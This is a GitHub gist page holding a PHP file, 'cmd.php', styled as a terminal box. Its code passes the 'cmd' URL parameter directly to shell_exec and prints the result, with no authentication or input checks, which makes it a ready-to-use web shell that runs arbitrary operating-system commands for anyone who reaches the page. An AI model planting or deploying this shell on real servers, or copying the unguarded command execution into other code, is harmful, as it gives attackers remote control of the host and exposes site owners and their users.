Skip to content

Instantly share code, notes, and snippets.

@Megafry
Created October 11, 2018 10:21
Show Gist options
  • Save Megafry/59c392849624519da661375a8f8532e7 to your computer and use it in GitHub Desktop.
Save Megafry/59c392849624519da661375a8f8532e7 to your computer and use it in GitHub Desktop.
cmd.php
<html lang="de">
<head>
<meta charset="utf-8">
<title>cmd box by Megafry</title>
<style>
body {
background-color: rgba(0, 0, 0, 0.5);
color: #fff;
}
* {
box-sizing: border-box;
}
.cmd_box {
max-width: 900px;
margin: auto;
min-height: 240px;
background-color: rgba(0, 0, 0, 0.5);
box-shadow: 4px 4px 7px 6px rgba(0, 0, 0, 0.1);
border: 1px solid #ccc;
border-top: 20px solid #ccc;
position: relative;
padding: 10px 10px 30px 10px;
}
.cmd_box:before {
content: "";
display: block;
width: 12px;
height: 12px;
border-radius: 50%;
position: absolute;
background-color: #666;
top: -16px;
z-index: 5;
}
.cmd {
color: inherit;
font-size: inherit;
padding: 2px 5px;
background-color: transparent;
border: none;
border-top: 1px solid #333;
position: absolute;
bottom: 0;
left: 0;
right: 0;
width: auto;
width: 100%;
outline: none;
}
</style>
</head>
<body>
<div class="cmd_box">
<form>
<input type="text" name="cmd" class="cmd" autofocus>
</form>
<pre>
<?php
$cmd=$_GET['cmd'];
if ($cmd) {
echo shell_exec($cmd);
}
?>
</pre>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment